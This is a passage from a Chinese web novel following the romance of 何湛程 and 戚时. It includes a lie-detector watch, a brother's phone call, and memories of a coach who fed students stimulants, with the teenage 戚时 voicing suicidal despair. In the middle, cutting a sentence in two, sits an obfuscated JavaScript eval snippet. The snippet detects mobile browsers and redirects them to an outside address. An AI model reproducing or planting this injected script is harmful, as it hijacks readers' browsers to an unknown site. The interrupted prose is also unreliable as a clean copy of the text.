呵呵,狗男人成天复读机似的黏在他身边说爱他,这大哥都亲口发话了,戚时装聋作哑还不把他往家里领,几个意思啊? 转念一想,是呗,“家”这么重要的地方,哪里能轻易让他何湛程这种跟无数人上过床的男人踏进去? 谁稀罕似的。 何湛程淡淡笑,双腿叠起,抱臂靠在沙发上,对戚铭说,实在不是他们家二哥不想带他来,只是他从小住三百八十六亩的大庄园住惯了,一时踏进戚铭这间才三百来平的小屋子,他家二哥怕他缺氧难受呼吸不过来。 戚铭:“……” “他上学时候的朋友,你有认识的么?”何湛程意识到戚铭没怎么参与戚老二的少年时期,于是说:“最好是中学就认识的。” 戚铭摇头:“不认识。” 摇完头,又突然一顿,嘴唇抿起,深眸冷凛。 何湛程看出来了,冲人挑了下眉:“怎么,一个破手机号都不愿给,你小子就这么不愿意让你弟好啊?” 戚铭皱眉:“按照辈分,我比你大哥还要年长近一旬,你就这么跟我说话?” “那行。”何湛程吊儿郎当地站起身,忽地一下,埋头俯身冲下,90°折腰对人鞠躬,超大声喊:“叔——叔——好!” 戚铭:“……” 无奈地抬手揉了揉眉心,不懂老二怎么就看上这么个不着调还讨人嫌的小鬼头,举止轻浮没礼貌,偏偏背景雄厚又不好拿捏,这种根本不把任何人放眼里的阔少,老二究竟有什么好留在身边的? 但戚铭还是把唐丽媛的联系方式给了何湛程,只简单介绍了“她从前是老二关系最好的朋友”,其余信息自动抹掉,然后转头就打电话,找朋友推荐靠谱的心理医生。 何湛程以“戚时对象”的身份添加唐丽媛好友,对方一直没通过,戚铭说唐丽媛是个商人,想来昨晚是应酬去了,一直到今早才通过他的好友申请。 何湛程坐在家里楼下吃早餐,王姨跟他唠嗑,一个劲儿地献殷勤,笑说自从他来,家里都没香烟味儿了,保不准老板哪天就为了他把烟给戒了,真好。 何湛程不是很能笑得出来,说,戚时不在他面前抽,只会在背地里抽得更凶。 王姨笑:“怎么会,只要您发句话,老板保准听您的。” 一句“我不想让他太难受”正要脱口而出,搁在餐盘旁的手机嗡地响了一下。 唐丽媛通过好友申请,发来一条: —你好,请问你是坐在游艇上的人吗? 何湛程几乎瞬间就明白了,昨晚和戚时吃饭的女人是谁。 打电话过去:“是,有空见个面吗?” 唐丽媛:“可以先问一下,你加我是为了?” 何湛程:“没什么大事,就是感情走到这一步了,突然很想更深入地了解一下我们家宝贝。” 唐丽媛笑:“抱歉,如果是他自己不肯告诉你的事,那我也不方便插手。” 何湛程一笑,指弯敲两下桌子:“听说你想做品牌啊,但是一直没渠道,正好,我认识几家全球时尚杂志社的主编,TOTEM、LA BEAUT、NONPOLAR,还有一些更偏向女性定位的二三线杂志,你喜欢哪家?” 唐丽媛犹豫,问:“你……什么意思?” 何湛程手指捏着金汤匙,缓缓搅动着杯中咖啡液,淡淡道:“你找戚时投广告,几百万几千万地砸出去,你能收获多少目标顾客?你的定位是高奢,可你一个毫无知名度的新品牌,你觉得找几个明星做点代言就能跻身一线了?真正的品牌只会和明星互相成就,无论时尚圈还是娱乐圈,没人会平白无故为了扶贫而自降身价,你要做专业的事,你就得找专业的人。” 唐丽媛失笑:“我明白您意思,但我不是没办法吗,可如果您愿意帮我一把,我当然不胜感激。” “这就是了,”何湛程也笑,“如果你提供的消息让我觉得很有价值,我们就是朋友了,对待朋友,我一向很大方。” 唐丽媛沉默片刻,试探问:“请问您是?” “我是谁不重要,”何湛程慢条斯理地啜了口咖啡,微微笑,“重要的是,TOTEM的主编和封面设计师林翘楚,是我的表姐。” “啊……但,她会帮忙吗?” “她帮不帮忙,那是我该解决的事,你要不要这个机会,这是你的事。” 几乎没再犹豫,唐丽媛立刻说:“我们好几年没联系了,我和他只有在高中时候走得最近,你想要了解什么?” “我想知道,你对一些发生在他身上的、一辈子都忘不了的事。” 唐丽媛领悟很快,积极道:“高中时候,我们学校有个很出名的体育老师,是带他们体育特长班的教练。” “嗯,帅么?” “三十岁出头,普通人,瘦巴巴的,像根细竹竿。” “嗯,挺好,继续。” “戚铭每个月都给各科老师送红包,那个教练就对戚时特别好,经常领着戚时下馆子吃饭喝酒,有次寒假还领戚时去他家里过年。” “这不挺好的么?” “后来就不好了。” “怎么?” “后来戚时就认了他当干爹,天天放学跑去他家里玩儿,他就真把自己当成戚时爸爸了。” “这么闲?”何湛程诧异,“他自己没孩子么?” “有的。他有一个得小儿麻痹症的儿子,常年在轮椅上坐着,他嫌那小孩丢人,一直把他关在家里,也不让他去上学。” “这跟我们家戚时有什么关系?” “怎么会没关系呢?”唐丽媛苦笑:“亲生儿子再讨厌也是亲的,在外面认得儿子再喜欢也是别人家的,这两个儿子天天凑在一起玩儿,你说他在一边看着心里会怎么想?” 53.第53章 晚十点,夜市烟火熏燎,大排档人声鼎沸,酒肉飘香。 城中村餐馆聚集地,沟渠下污水淌过,不时沤出浓烈的异味。 坑洼不平的水泥地,烟头、浓痰、桌边脚下的啤酒瓶七倒八歪,刚下班来吃夜宵的白领,背着脏破布包、满身泥土与柴油、安静地涌进来聚餐的工地小队,几辆黑色机车闪电般飞驰而过,卷起一路灰尘,飘进路边小饭桌客人的盘子里。 烙在铁板上的腥香鱿鱼串,咕噜噜冒泡的剁椒鱼头,“噗呲”一声摁在炭烤架上滋滋冒油花的羊肉串,热腾腾的麻辣热锅,金黄酥脆的炸小黄鱼…… 赵博拎着两瓶罗曼尼康帝的礼物,摘掉拉夫劳伦的米色棒球帽,一屁股坐在油腻腻地绿色塑料凳上,阿玛尼的休闲裤自此就粘在了上面,他接过对方随手递给他的、一眼不可降解的塑料手套,守着面前铺满桌的凉拌酱牛肉、麻辣小龙虾、洒满孜然的羊肉串、鸡爪和东北大拉皮,有点无所适从。 他并非没和同学吃过街边小吃,也并非是那种身娇肉贵的大少爷,而且,请客的人点的菜品也十分丰盛,只是…… 只是戚时好容易找他见一次面,他以为他们至少要去个有情调的、适合浅酌慢饮聊天的餐厅。 不过—— 他在心里苦笑,人家这种有夫之夫,干嘛要和他一个外人去高档餐厅约会? 又不禁心想,戚时肯定不会带那个人来这种地方。 赵博叹一声,找老板要了个专门装鱼的、崭新大红塑料袋,抖手撑开,把那箱红酒罩起来放在小饭桌下,提醒戚时待会儿记得拿走。 戚时专注埋头啃着麻辣鸡爪,应了声。 桌上菜,每样一份,只有麻辣鸡爪是三份,赵博于是意识到戚时应该是很喜欢啃鸡爪。 戚时这么要面子的人,如果和喜欢的人出门吃饭,大概率不会这么不顾形象地啃鸡爪,还啃得满嘴都是油。 开车来的路上,戚时聊起他和何湛程已经同居了,赵博就又忍不住想,戚时在家和何湛程共进晚餐时,肯定也不会选择啃鸡爪。 总算有一份属于自己的特别了。 赵博在心中自嘲安慰,起码他见到了何湛程不会见到的、戚时最真实的模样。 好半天,戚时鸡爪终于啃过瘾了,扯两张卫生纸擦嘴,又跑去水龙头那边洗干净手,重新坐回来,问他:“东西看好了么?” 赵博一笑,从随身背的斜挎包里掏出一对手表盒,递了过去。 “你想的没错,这是一对儿装着微型测谎仪的机械手表,你别看他又小又普通,这种高精密的组装表至少要用掉近两千个迷你的零部件,做起来十分耗费心力—— 嗯,反正我是没那耐心做这种普通又没意义的小玩意儿。” “不过做这手表的人肯定是个厉害人物,零部件设计得很有巧思,我拆解后差点装不回来,还是找两个同学一起帮忙重新画图装的。” “哈哈,我告诉你啊,要不是因为请托的人是你,我才不浪费时间鼓捣这东西,当时想着如果装不回去,我干脆买对儿你喜欢的劳力士款还给你算了!” 戚时笑哼一声,说:“那不行,这是他送我的,你送再贵的也比不上。” 赵博拿过桌上啤酒,仰脖子猛灌两口,抬手一擦嘴,冲人笑道:“你这恩爱秀过头了,我必须要打击你一句了啊!谁家对象送礼物会送测谎设备啊,他都不知会你一声儿,你就这样被蒙在鼓里,之前说错了多少话还不清楚呢!” 戚时将那对儿表收好,不屑道:“那怎么了?他是在乎老子才会想试探老子的真心,老子坦坦荡荡的,能怕这?” 赵博失笑:“好吧。” 戚时突然不怀好意地笑起来:“他不说,我也不说,等下次他再问我,我也问他。你刚才说,这玩意儿说谎会有啥后果来着?” 赵博叹一口气,说:“如果对方说谎,被电的人就是你。正常干燥情况下,你会感受到四毫安强度的电流从你戴表的那只手流到你的另一只手,如果在气候湿润的地方,或者你本人身上潮湿,电流强度就会突然变大,只需0.001秒就冲遍你的全身,而如果你持续接触这股电流,很可能导致手表漏电甚至诱发短暂性心悸。” 戚时“哦”一声,低声自言自语道:“那还是找个理由扔掉吧,我们程儿之前犯过心脏病,我可不能说错话让他给伤着了。” 赵博无奈:“大哥,你能不能稍微考虑一下我的心情?当初是你先找上我的,勾搭完我就跑了,这一次也是你来找我的,我哪次说什么了吗?我有自知之明,你能不能也少提几句你的程儿啊?” 戚时啧一声,没看出来赵博这么阳光开朗的小子也会有这么怨气的一面。 下巴一抬,说:“老子这不专门跑这大老远请你吃饭了么?这一桌豪华大餐三百多块呢,你平时上哪儿吃这么香的东西?” 赵博无语:“难道不是因为你自己想吃?” “老子也没办法啊,”戚时毫无愧疚心,俯身挑起筷子夹起两片酱牛肉塞嘴里,囫囵道,“这不就认识你一个聪明蛋么,不然老子随便去你们物理系找个人,万一他讹老子钱咋整?” “唉,这年头钱不好赚,你是不当家不知道柴米油盐贵啊!我最近刚把家给拆了,眼下正装修呢,我们家程儿比较有艺术气息,万一哪天他不高兴了砸我几个古董,老子不得留点儿备用金啊?前两天求婚送礼物也没少花,以后老子的钱,全都得花在刀刃上才行,哪能再随便丢给外人?” 赵博:“…………” 所以,这人就为了省钱,大老远开车从市中心带他来城中村吃大排档? 他给戚时带的两瓶红酒还二十来万呢!!! 戚时催促道:“行了,你快吃点儿吧,都十一点了,我晚上得早点回去呢。” 赵博没好气地戴上塑料手套剥龙虾,状似不经意提起一句:“我昨天好像在御江天府碰到他了,但就见着个背影,很高,不知道是不是他。” 其实他也不想提那个人。 可只有他把话题往那人身上引,戚时才会跟他多聊几句。 戚时嚼肉的动作一顿,愕然抬头问:“真的假的?他穿什么衣服?” 赵博想了想,说:“香奈儿中古连帽冲锋衣,藏青色的,穿着克罗心的牛仔裤,戴着顶鸭舌帽和黑色口罩,但比上次见好像……好像高了点儿。” “是他,没错。”戚时纳闷问:“但你怎么在那儿?” 赵博笑:“我家就在那小区啊,昨天周末,我回家吃饭。” 戚时点头:“我哥也住那儿。” 赵博“啊”了一声,好奇问:“那他是去找你哥了?” 戚时:“几栋啊?” 赵博:“9栋和10栋之间。” 戚时若有所思地摸了摸下巴,说:“不对啊,按理我哥应该给我打电话才对啊。” 赵博不解:“为什么要给你打电话?” 戚时一顿,说:“程儿没见过我哥,但我哥之前发过几回消息,催我把程儿带家里吃饭,我跟我哥说忙,没空。” 赵博又“啊”一声:“那你这几个意思啊?” 戚时不乐意了:“你管老子呢?” 赵博无辜:“是你先提的。” 戚时忽然有点烦躁,说:“我哥都快奔四的人了,他肯定不喜欢程儿这么活泼爱闹腾的年轻人,本来现在就已经够烦了,我不想让他再插手我的事儿。” 赵博没忍住一笑:“理解了。” 戚时瞬间食欲就没了。 等赵博吃完,他替人打了辆车,顺手买了五斤蒜蓉生蚝,让赵博带回去学校分给室友吃,说,这月黑风高的,他得守男德,就不方便捎赵博回去了。 赵博笑得肚子疼,忙降下车窗探头出来,打趣说他最近真是大变样,说话居然一股子贞洁烈男味儿,还挺有意思的。 戚时没心思跟一个十八岁的小男孩打情骂俏,反正他目的达到了,不耐烦地轰着人走了。 拎着红酒放后车座,手表小心拿着,放在副驾。 拧钥匙,一脚油门踩到底,冲刺一样往家赶。 他今晚喝的冰镇酸梅汤,只给赵博点了啤酒。 昨晚和唐丽媛见面,他回家后酒气冲天的,挨了何湛程好一顿说。 他这两年应酬越来越多,早已习惯宿醉和随地大小躺,喝多以后根本动不了身,但自从有了果汁儿,他晚上总想着回家陪陪她,哪怕偶尔去情妇处,也不会整夜留宿,于是酒驾和疲劳驾驶就成了他生活的常态。 何湛程现在住进他家里,“他家”就变成了“他们家”,终于有一个如此鲜活的、青春的、深爱着他的、只完全专属于他一个人的人等着他回家,他就更迫不及待往家赶了。 可昨晚何湛程又发起来脾气:“我第一次见你,你就酒驾,你希望我们见得最后一面也是因为你酒驾么?” 尽管心里清楚何湛程是怕他出事才说的“最后一面”,可戚时听到那句话,心里还是咯噔一声,生怕对方因为自己的坏习惯就生气离开他。 他已经很努力的、尽量做得很周全的、给他这位年轻任性的爱人留下好印象了。 他只希望何湛程能留在他身边的时间久一点。 有时候,他甚至会病态地盼望着,先厌倦的人是他。 这样的话,等两人都腻味了,他就能像对待赵博一样,在何湛程临行前的路上,随手给人捎五斤生蚝,或者五斤项链戒指玫瑰花什么的,然后笑容潇洒地挥手和人说拜拜。 何湛程用测谎仪试探他真心这一点是他没想到的。 他不傻,刚才赵博一句“做这手表的人肯定是个厉害人物”,他立刻就想到了许若林。 他承认,那一刻,他的心被刺了一下,不疼,但心头又确实涌上一股无名失落。 不是嫉妒,不是吃醋,不是自卑,更不是在意何湛程和许若林的过往。 他就是很单纯的,感到泄气。 不,他在更早的时候就意识到了。 回国那天,手下那些人帮程儿搬东西,险些把这手表掉落在地,茉莉吓一跳,踩着高跟鞋就猛扑过去,一把接住了这对儿手表。 但想必是在坎昆受了潮,茉莉拿出来检查时,冷不丁被电了一下,她立刻打电话找他打报告,说这对情侣手表有安全隐患,问他和三少需不需要处理掉。 他很快就想起之前何湛程让他戴上手表后,毫无征兆地开始问他的一些奇怪问题,还有何湛程本人的奇怪反应。 明知不该,但他突然也在和谁赌气一样,立刻就打电话找了赵博。 赵博说,时隔两月,能接到他的电话后真的很惊讶,也很喜悦。 那小子课都没上,捂着手机就从教室跑出来了,在得知他想要研究一下何湛程送他的情侣手表,赵博在电话那头愣了一下,随即也只是慷慨地笑了两声,说,没关系,既然你开口了,我肯定要帮忙的。 他立刻就后悔了,说:“要不还是算了,我就是随口一问,你要是嫌麻烦,我找别人也一样。” 赵博笑得倒坦荡:“这么不信任我啊,放心吧,我还没到对你一见钟情的地步。我好歹做过你老师,还收了你哥三百块钱呢,这回免费帮你一次吧,仅此一次啊!” 听着赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548569|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 博的许诺,莫名的,一股好胜心在胸腔里沸腾起来。 那是盘旋在脑子里的、一种畸形又很缺德的较量:如果赵博能在技术上胜过许若林,就意味着他的魅力要胜过何湛程。 就意味着,何湛程将永远为他着迷,而不被任何人抢走。 于是干脆利落地说:“行,办好了,我回头请你吃饭。” 幸而今晚的行程没告诉茉莉。 戚时开车回去路上,忍不住心想,茉莉倒是知道现在家里谁做主了,对何湛程比对他还殷勤。 电话响起,戚时瞥了一眼智能屏,来电显示:哥。 戚时深呼吸一口气,在心里快速过了一遍腹稿: 如果他哥要劝他和何湛程分手,他就故技重施,继续攻击他哥和男绿茶。 戴上蓝牙耳机,接通电话。 “喂,哥,有事儿?” “没事儿这个点儿我给你打电话?”戚铭一副公事公办的态度,“我不跟你兜弯子,你也少给我装蒜,我跟何湛程见过面了,你以后就别藏着掖着了,省得回头他再欺负你。” “没有哥,”戚时尬笑,“瞧你这话说得,他爱我还来不及呢,怎么会欺负我啊!” “那小子太调皮了,他能跟你处成一块儿,不就是欺负你年纪大、既宠着他又让着他么?不然他图什么?” “少来,”戚时满脸不爽,“我又帅又年轻的,你别把你的经验之谈往我身上乱套,我跟你可不一样。” “行了,”戚铭语气似乎有些疲惫,“这件事我斟酌了一天,我就有两点要说。” “领导请指示。” “第一,虽然我不是很能理解你为什么会看上这么一个骄狂任性的小鬼,但你一向没品味,我暂时对你的感情表示尊重。” 戚时:“……” 随即提出抗议:“你说我可以,说他不行!” 戚铭冷笑:“他叫我叔叔。” 戚时不以为然:“你快四十了,他才二十,你俩差二十岁呢,他叫你叔叔咋啦?” 戚铭咬了下牙:“如果我是四十,你就是三十,跟一个小你十岁的大学生谈恋爱,好意思么你!” 戚时心虚地摸摸鼻子,说:“行吧。” 戚铭肃声道:“我知道你怕什么,你心里既然这么清楚我不会喜欢他,就说明你也知道他身上有很多缺点,甚至还是你自己也接受不了的缺点。” 戚时皱眉:“你怎么说这种话?你刚说过要尊重我俩呢。” 戚铭不客气道:“你俩这没名没分地住在一块儿,还用得着我费功夫来拆散?我才懒得管你们俩怎么黏着,我只是提醒你一句,跟他这种人在一起,别陷太深,不然最后受伤的只有你。” 戚时呵呵:“你才是一把年纪了别被一个小年轻给糊弄了,我脑子清醒着呢。” “你知道就好。”戚铭继续道:“第二件事,我也想了很久。” ”什么?” “这么些年,”戚铭顿了顿,“我好像把你逼得太紧了,现在回头想想,所谓财名权势,不过也就那么回事儿,你不是一直想离开擎荣吗?我同意了,只要你想,你随时都能走。” 戚时懵逼了,问:“你喝多了?” 戚铭反问:“我声音听起来像喝多的?” 戚时摇头:“不像,但是你这话像。” 戚铭:“少废话,话我撂这儿了,不过我要提醒你,你也要慎重考虑,只要走了,你就不能再回来,我的宽容不是你任性反复的理由,等我找好合适的人接替你,你想反悔也来不及了。” 戚时撇撇嘴。 他哥这种很难信任别人的老心机,除了亲属家人,还能找什么人接替自己啊,可不就是准备培养那个男绿茶上位么? 戚时果断道:“我不走。” 戚铭诧异:“怎么又不走了?” 戚时对后视镜拨弄着头发:“我现在是两个人过日子,我不得养家糊口啊?我们程儿还得上学呢,我没钱哪儿成啊。” 戚铭无语:“随你。” 戚时冷不丁发问:“程儿昨天找你干啥去了?你俩凑一块儿密谋啥了?半句都不跟我提的,说我坏话呢?” 戚铭:“他找上我的,你去问他。” 戚时哼一声,立刻就要挂电话。 戚铭拦道,说:“我最近身体不太好了,瞿岳去组里拍戏要三四个月,也不在我身边,我现在请了个私人医生住家里了,这几天和陌生人打交道也挺没意思的,你没事了就多过来看看你老哥吧。” 戚时皱眉:“你怎么了?哪儿不舒服?怎么不去住院?” 戚铭笑:“没什么大病,就是这几年日子过太好了,把自己养得越来越金贵,现在稍微有个头疼脑热的就受不了,其实吃点布洛芬就好了。” 戚时挑眉:“真的假的?那你搞这么大张旗鼓要干嘛?” 戚铭冷哼一声:“你就说,你来不来看我吧。” 戚时笑起来:“你都这么说了,就算你是擦破点儿皮,我也得过去一趟啊!” 戚铭似乎松了一口气,说:“那你尽快,最好明天就过来。” 戚时拒绝:“明天不行。” 戚铭有点着急:“明天怎么不行?!” 戚时啧一声:“明天我去外地出差,过两天才回来呢。” 戚铭揉眉心:“又要带着你的程儿跑出国去度假?” “哪能呢!”戚时笑。 一时又想不出更好的借口,他早已习惯性对哥哥保持诚实,只犹豫几秒,便脱口而出: “有个故人前阵子去世了,我想去给他上个香。” 54.第54章 亮银色的法拉利飙驰在京郊野外的高速公路上,犹如钢筋高架桥上劈过一道白色闪电。 唐丽媛坐在副驾,抬手挽了下碎刘海,斜着眼神,忍不住第N次偷瞄旁边开车的人。 首先是一张浓眉高鼻梁骨的优越侧脸,眯眼盯着前路,不知在思索什么;接着,一只搭在方向盘上的手,指节修长骨骼分明,冷白色的腕骨上缠了四圈素雅佛珠,同一只手腕上,戴着价值千万的百达翡丽冰蓝面的5308G腕表。 最后,才是他脖颈一圈古巴粗条项链、范思哲的黑T恤,三道杠的运动裤,脚踩一双白色匡威。 唐丽媛见何湛程第一眼就认出他了—— 他们在酒店电梯门口前遇到过,在很长一段时间里,她和朋友们都在激烈讨论这位气质非凡的帅气男孩。 他却没认出她。 不过,她本身也不是很令人惊艳的长相,尤其现在她知道他是戚时的同居伴侣,她就更理解了。 日夜面对着戚时那样一张英俊迷人的脸,他还会记得谁呢? 短短三月不见,他看起来比上次要深沉许多,唐丽媛猜测,他大概是因为戚时才有了心事。 她安慰他,说,戚时高中时候就是个富家子弟,因为外貌出众,性格强势硬悍,身边拥趸众多,校内外也很受女生欢迎,虽然在训练时经常遭受打骂,但戚时性格开朗,总是一笑带过,不会在心里留下太重阴影。 只是,那个人偶尔会觉得孤独。 何湛程醋意上来,淡着脸问她,她怎么知道戚时很孤独? 她说,因为太明显了啊! 戚时当时有一帮狐朋狗友,为了获取他们的认可,他学会了喝酒抽烟,又为了所谓的“兄弟义气”,他天天翻墙逃课、泡吧打架,和一群黄毛瘦脸紧身裤们聚在一起,成天叼着烟,在路边晃荡着无所事事,由于身高突出,一身干净帅气的名牌,戚时人又很白,鹤立鸡群的,站在整条街都很突出。 不过,戚时放学回家路上,从来不和任何人一起走,有些和戚时搞暧昧的女生来靠近,他也很不耐烦,一副生人勿近的冷脸,那些姑娘又都吓跑了。 在学校里,戚时又变成另一个人,活泼幽默,高大帅气,如果在小卖部偶然碰上喜欢他的女生,他还会给她们买东西。 不是辣条薯片那种的小零食,而是发卡、手链、小镜子、挂件和毛绒玩偶这些像定情信物一样的东西。 他随手抛出,漫不经心又充满心机,无情收割她们的芳心,却并不回应她们具体的某一个谁。 唐丽媛和戚时住同一个小区,戚时不认识她,可他名声远扬,她倒经常看见他。 从初中开始,校里校外,她见这小子居然是两副面孔,偶尔路过瞥他一眼,觉得本来好好的一个男生,就因为家里人不在身边,年复一年、日复一日被那帮混混污染成这个样子,她就感觉很可惜。 可在学校看见他耍帅装叉逗弄女生,一脸理所应当地享受着她们的爱慕和追捧,她又觉得这男生很煞笔、很活该! 戚时也从不邀请朋友去他家里玩儿。 听说有一次,一个跟戚时很要好的哥们儿开玩笑,说:“干嘛不让去啊,我们都知道你没爹没妈了,你矫情个几把啊!” 戚时当场翻脸,大手掐住那人脖子,面无表情地盯着对方,等那人窒息得快咽气了,他才松手。 戚时自始至终没威胁过谁,但很快大家都知道戚时不可触犯的逆鳞是什么了。 高三时候,戚时和唐丽媛认识了,她自称“嫂子”,戚时走到哪,她就跟他到哪儿,戚时被她不要脸的精神折服了,渐渐和她成为朋友,每晚放学后,他要么在教室补文化课,要么在操场练体育,俩人一起上下学,日程紧张而充实,他也终于和那些混混疏远了。 唐丽媛说,戚时第一次,也是唯一一次犯病是在参加完特招考试后的第二天。 她前一晚发消息问戚时白天考得怎么样,戚时回复她一句: 【废话,老子出马,还能有其他人什么事儿?】 她就说:【这下总算考过了,以后离你教练远点儿吧】 戚时没回。 唐丽媛知道戚时不愿意听她讲这话,第二天早上学,她等在戚时家楼下催他赶紧下来,戚时依旧没回复她,她就先走了。 白天在班上听很多女生说戚时一整天都没上学,唐丽媛以为这小子体育拿了高分就飘了,发了一堆消息问他还来不来,戚时仍不回。 于是她就等放学后跑去他家找他。 她没遇上戚时,倒遇上了戚时家的保姆。 保姆正拎着保温盒准备去医院给戚时送饭。 唐丽媛问保姆那小子咋啦,保姆一脸愁容,说,那孩子早上正吃着饭呢,突然就噎住了似的,瞪着眼僵在那儿了,给她吓一跳,他也不说话,身子抽了几下,接着就倒下去了。 “医院那边怎么说?” “说他服用了过量的兴奋剂,晚上又经常熬夜,再送过去晚一点就猝死了。” “什么兴奋剂?哪儿来的兴奋剂?” “他们老师让买的保健品,据说既能提神醒脑,还能增强体质。” 保姆从口袋里掏出两瓶药,拿给唐丽媛看,叹道:“你说说这孩子,唉!我家老板本来给他买的有同仁堂的营养品,但戚时说他同学们都买了,缠着他哥哥也给买了好几瓶,这东西七十五块一瓶,说贵不贵,说不便宜也不便宜,他哥哥以为是给小孩儿吃着玩的那种糖丸呢,没多问就给他买了。” “戚时这半年学习压力很大,队里训练他也从没缺席过,身体扛不住了,他就吃药,还跟我说这药很管用。” 唐丽媛又吓又怕,等药物成分检测报告单出来,她确定里面含65%的亢奋剂,犹豫再三,鼓起勇气,拿着这药去找戚时教练——刘勇,对峙。 没料刘勇一脸坦然,说,这药怎么回事,这些学生本身都是知道的,他们都是为了取得好成绩,心照不宣地默认在赛前服用,不然,就凭他们这些因为学习不好才半路转体育的差生,高矮胖瘦良莠不齐的,他们不用点手段能走出贫困县? 还有戚时,他长得实在是太高了。 大部分优秀的中长跑运动员身高集中在170cm上下,而戚时当时身高186cm,他日常训练时,膝盖关节负荷要比其他学生重得多,髌骨关节磨损和韧带拉伤的情况也比其他同学要严重,很不利于长跑。 戚时在力量训练和跳高、跳远项目上都是满分,但为了追求极致的完美,他如果不吃这药,他跑得过人家那些同省份大城市里从小就锻炼的专业运动员? 他干得过那些暗箱操作? 他一个没权没势的野小子,如果不能优秀到令在场所有评委都无法忽视和否认,他能考上首都的好学校? 而且,刘勇毫无愧疚心地说,他只让他们在赛前吃,并没有让他们经常吃。 戚时自己瞎作死,赖不着他。 还有唐丽媛,一个小女生,疯疯癫癫的,仗着学习好,成天帮着一个混混出头,他劝她最好老实点儿,否则等他告诉她父母,她每天在学校和一个抽烟喝酒泡妞打架样样全能的男生混在一起,他们一定会打断她的腿。 高考在即,唐丽媛不敢惹事,好在戚时被燕体提前录取后就不用再训练了,只是精神萎靡了很长一段时间,说浑身都很疼,烟也抽得很凶。 最难受的时候,戚时半夜三点多给唐丽媛打电话,像是经过一番认真的考量,跟她商量,说,他要不还是死了算了吧。 呼吸令他感到窒息,他像一条在海里被塑料垃圾蒙住鳃的鱼;不呼吸他又莫名其妙地掉眼泪,想爸爸,想妈妈,想哥哥,他用一种从未有过的虚弱声音向她发出求救的信号,他说他好累啊,好辛苦啊,他现在都开始讨厌他哥了,因为他哥总拿钱打发他,一点儿都不关心他,这让他觉得自己越来越像一个累赘。 “唐丽媛,其实就算我死了,等到了地下,我也找不到我爸爸妈妈。” “我爸妈在我七岁的时候就没了,我都不记得他们长什么样,怎么能找到他们呢?” “活着好累啊,我知道你们都不是真的喜欢我。” “男生喜欢我,是因为我会抽烟喝酒打架,我会请客领他们吃好吃的;女生喜欢我,是喜欢我的脸,我的模样,可我一生气,她们就都吓跑了,也不问我为什么生气;你跟我在一起玩儿,是因为你喜欢我哥,而不是我。” “唐丽媛,你也特别讨厌我吧?” “我也讨厌我自己。” “唐丽媛,像我这样的坏人,以后会有人来爱我吗?一心一意只爱我一个人的那种‘爱’?会有吗?” …… …… 等清醒了,戚时自称霸气侧漏男子汉,绝不承认那些矫情唧唧的煽情话是他说的。 他嫌丢人,不允许保姆和唐丽媛把这件事告诉他哥,作为交换条件,他开始戒药。 唐丽媛说不行,不仅得戒药,他也不可以和他那个狗屁的干爹有任何牵扯了,不然她就找他哥打小报告。 出乎意料,戚时很痛快地就同意了,说,他早就受够那老混蛋了,下手没轻没重的,打得他骨头都要裂了,晚上疼得他都睡不着,现在考完了,他也用不着他了! 唐丽媛失笑。 戚时才不会介意那些皮肉上的痛苦。 是因为刘教练在戚时险些猝死后只顾一味撇清关系,也没有去医院探望他,事后还在学校对戚时视而不见,伤了那傻小子的心,戚时才假装潇洒地和对方恩断义绝。 何湛程听完,冷笑一声,就说了两句话: 第一,戚老二是个除了会吹牛逼之外一无是处的傻叉; 第二,他要带着人去把那老混蛋的坟头铲平。 一路狂飙疾驰向南,两辆黑色奔驰轿车不远不近地跟在法拉利的后面,在荒野公路上划出三道冷锋般凌厉的闪电。 何家的私人律师团队前两天接到三少通知,日夜兼程从沪上赶来燕京,本以为家里这位祖宗爷又闹出来什么官司,没曾想祖宗爷是要去铲人家的坟头,还是一个平民百姓的坟头。 这哪儿犯得着啊! 上路之前,他们苦口婆心地劝阻三少,说:“祖宗,咱们胸襟开阔点儿,这事情都过去多少年了,戚总都没说什么,咱就更犯不着跟一个死人计较了。” 三少生来就是无情的人,眼皮也不抬一下,闲闲把玩着腕上的珠子,说:“这事怎么能怪我呢?他应该庆幸自己死得早,我生得晚。” “但我生得晚,不意味他就能趁我不在,随便欺负我的人。” 这就是一定要人死不瞑目的意思了。 领头律师姓成,五十出头,在何家做了多年法律顾问,知道何家这些子弟一个比一个头铁。 成律师烦躁地抓着满头白发,一个劲儿地哀声叹气,嘴里不断念叨着:“造孽、真是造孽啊……” 他觉得,三少很有老爷子早些年的风范。 不讲理,很缺德,且一味护短。 三少放了话,那就绝没有收回来的道理。成律师领着手下们提前拟好项目合同,助理则联系好当地教育局和县政府,让那帮人赶紧张罗着接待他们。 理由是:何三少想要为该县捐赠一所公益高中。 因为唐丽媛说,老家伙被埋在了县城郊外的一片坟地。 三少就要踏平了那片坟地。 嗯,三少决意要成为一名积极投身教育事业、造福社会和寒门子弟的慈善家。 律师团和助理也偷偷请示过当家的,当家的不耐烦地甩他们一句:“如果什么都要问我,那我还养你们干什么?” 何老大说,以后何老三在外头,甭管他杀人还是放火,一人做事一人当,让他们底下人别动不动就拿这些鸡毛蒜皮的事来烦他! 大家都是沉浮多年的人精,一下子就听出这两位作对八百年的哥俩似乎是和好了。 何老大的潜含义也足够明显: 如果去铲一个亡者的坟头是件“鸡毛蒜皮的小事”,那就意味,这件事何老大会给他们这位惹祸精祖宗爷兜底。 俩字:默许。 他们这位小董事长的行事作风一向是隐晦又酷厉。 自家人的喜怒利益永远放在首位,谁会为一个生前德行有亏的无赖积阴德? 下午众人抵达县城。 犹如一棵风烛残年却依旧坚|挺着的老白杨,这座褪色老旧的县城连头顶的天空都是灰败沉闷的,近些年政府做城市规划,什么绿化带、学区房、特色公园、中心商业区,还有七拐八扭的街道一夜之间冒出许多崭新而冷清的商铺。 三分咬牙挣扎拼出的生机,七分门庭冷落回天乏力的死气。 方圆十里,见不着一个像样的饭店,更别提星级酒店了。 